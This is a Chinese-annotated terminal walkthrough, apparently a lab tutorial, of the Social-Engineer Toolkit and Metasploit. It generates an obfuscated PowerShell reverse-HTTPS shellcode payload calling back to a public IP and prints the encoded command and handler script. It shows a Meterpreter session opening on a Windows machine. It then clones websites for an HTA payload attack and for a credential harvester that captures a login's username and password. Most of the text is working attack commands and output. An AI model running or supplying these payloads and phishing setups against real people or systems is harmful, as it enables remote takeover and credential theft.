# 配置数据库用户名及密码 [root@localhost ~]# su - postgres Last login: Tue Sep 1 15:39:43 CST 2026 on pts/0 [postgres@localhost ~]$ [postgres@localhost ~]$ createuser msf -P Enter password for new role: 123 Enter it again:123
[root@localhost ~]# msfconsole Metasploit tip: Use the analyze command to suggest runnable modules for Metasploit Documentation: https://docs.metasploit.com/ The Metasploit Framework is a Rapid7 Open Source Project
# 此处的数据库链接每次重启MSF都要执行重新连接 msf > db_connect postgresql://msf:123@127.0.0.1:5432/msf_database [*] Connected to Postgres data service: 127.0.0.1/msf_database msf > db_status [*] Connected to msf_database. Connection type: postgresql. Connection name: local_db_service. msf > workspace * default msf > db_rebuild_cache This command is deprecated with Metasploit 5
[---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] Version: 8.1.3 Codename: 'Maverick' [---] Follow us on Twitter: @TrustedSec [---] [---] Follow me on Twitter: @HackingDave [---] [---] Homepage: https://www.trustedsec.com [---] Welcome to the Social-Engineer Toolkit (SET). The one stop shop for all of your SE needs.
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
It's easy to update using the PenTesters Framework! (PTF) Visit https://github.com/trustedsec/ptf to update all your tools!
2、一级菜单选择
Social-Engineering Attacks（社会工程学攻击）
Select from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit
set> 1
3、二级菜单选择
Powershell Attack Vectors（Powershell攻击向量）
Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules 99) Return back to the main menu.
Select from the menu: 1) Powershell Alphanumeric Shellcode Injector 2) Powershell Reverse Shell 3) Powershell Bind Shell 4) Powershell Dump SAM Database 99) Return to Main Menu
set:powershell> 1 Enter the IPAddress or DNS name for the reverse host: 8.140.234.178
set:powershell> Enter the port for the reverse [443]: 443 [*] Prepping the payload for delivery and injecting alphanumeric shellcode... [*] Generating x86-based powershell injection code... [*] Reverse_HTTPS takes a few seconds to calculate..One moment.. No encoder specified, outputting raw payload Payload size: 396 bytes Final size of c file: 1695 bytes [*] Finished generating powershell injection bypass. [*] Encoded to bypass execution restriction policy... [*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/ set> Do you want to start the listener now [yes/no]: yes
[root@localhost ~]# cat /root/.set/reports/powershell/powershell.rc use multi/handler set payload windows/meterpreter/reverse_https set LPORT 443 set LHOST 0.0.0.0 set ExitOnSession false
[root@localhost ~]# cat /root/.set/reports/powershell/x86_powershell_injection.txt powershell -w 1 -C "sv WO -;sv qY ec;sv r ((gv WO).value.toString()+(gv qY).value.toString());powershell (gv r).value.toString() 'JABOAGoAIAA9ACAAJwAkAGYAeABQACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdAB'"
6、成功获取目标主机完整控制权，可执行文件操作、权限提升、进程管理等后续渗透操作。
msf exploit(multi/handler) > [!] https://0.0.0.0:443/ handling request from x.x.x.x; (UUID: qip7mdob) Without a database connected that payload UUID tracking will not work! [*] https://0.0.0.0:443/ handling request from x.x.x.x; (UUID: qip7mdob) Staging x86 payload (203648 bytes) ... [*] Meterpreter session 1 opened (x.x.x.x:443 -> x.x.x.x:59472) at 2026-09-01 16:31:31 +0800
msf exploit(multi/handler) > sessions -i
Active sessions ===============
Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows DESKTOP-AC3AdPTdW\Admin @ DESKT x.x.x.x:443 -> x.x.x.x.101:59897 (192.168.0.200)
1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit
set> 1
3、二级菜单选择
Website Attack Vectors（网站攻击向量）
Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules 99) Return back to the main menu.
set> 2
4、三级菜单选择
HTA Attack Method（HTA注入攻击）
Select from the menu: 1) Java Applet Attack Method 2) Metasploit Browser Exploit Method 3) Credential Harvester Attack Method 4) Tabnabbing Attack Method 5) Web Jacking Attack Method 6) Multi-Attack Web Method 7) HTA Attack Method 99) Return to Main Menu
Select from the menu: 1) Web Templates 2) Site Cloner 3) Custom Import 99) Return to Webattack Menu
set:webattack> 2 [-] SET supports both HTTP and HTTPS [-] Example: http://www.thisisafakesite.com set:webattack> Enter the url to clone: https://www.baidu.com [*] HTA Attack Vector selected. Enter your IP, Port, and Payload... set> IP address or URL (www.ex.com) for the payload listener (LHOST) [x.x.x.x]: 8.140.234.178 Enter the port for the reverse payload [443]: 443 Select the payload you want to deliver:
[root@localhost ~]# systemctl stop httpd [root@localhost ~]# systemctl status httpd ○ httpd.service - The Apache HTTP Server Loaded: loaded (/usr/lib/systemd/system/httpd.service; disabled; preset: disabled) Active: inactive (dead) Docs: man:httpd.service(8) source ~/myvenv/bin/activate
2、一级菜单选择
Social-Engineering Attacks
[root@localhost ~]# setoolkit Select from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit
set> 1
3、二级菜单选择
Website Attack Vectors
Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules 99) Return back to the main menu.
set> 2
4、三级菜单选择
Credential Harvester Attack Method（凭据收割攻击）
Select from the menu: 1) Java Applet Attack Method 2) Metasploit Browser Exploit Method 3) Credential Harvester Attack Method 4) Tabnabbing Attack Method 5) Web Jacking Attack Method 6) Multi-Attack Web Method 7) HTA Attack Method 99) Return to Main Menu
set:webattack> 3
5、页面模式
Web Templates（内置模板）
Select from the menu: 1) Web Templates 2) Site Cloner 3) Custom Import 99) Return to Webattack Menu
set:webattack> 1 set:webattack> IP address for the POST back in Harvester/Tabnabbing [x.x.x.x]: 8.140.234.178
[*] Cloning the website: http://www.google.com [*] This could take a little bit...
The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website. [*] The Social-Engineer Toolkit Credential Harvester Attack [*] Credential Harvester is running on port 80 [*] Information will be displayed to you as it arrives below: x.x.x.x - - [01/Sep/2026 17:43:04] "GET / HTTP/1.1" 200 - [*] WE GOT A HIT! Printing the output: PARAM: GALX=SJLCkfgaqoM PARAM: continue=https://accounts.google.com/o/oauth2/auth?zt=ChRs PARAM: service=lso PARAM: dsh=-7381887106725792428 PARAM: _utf8=â PARAM: bgresponse=js_disabled PARAM: pstMsg=1 PARAM: dnConn= PARAM: checkConnection= PARAM: checkedDomains=youtube POSSIBLE USERNAME FIELD FOUND: Email=admin@lyshark.com POSSIBLE PASSWORD FIELD FOUND: Passwd=123456 PARAM: signIn=Sign+in PARAM: PersistentCookie=yes [*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.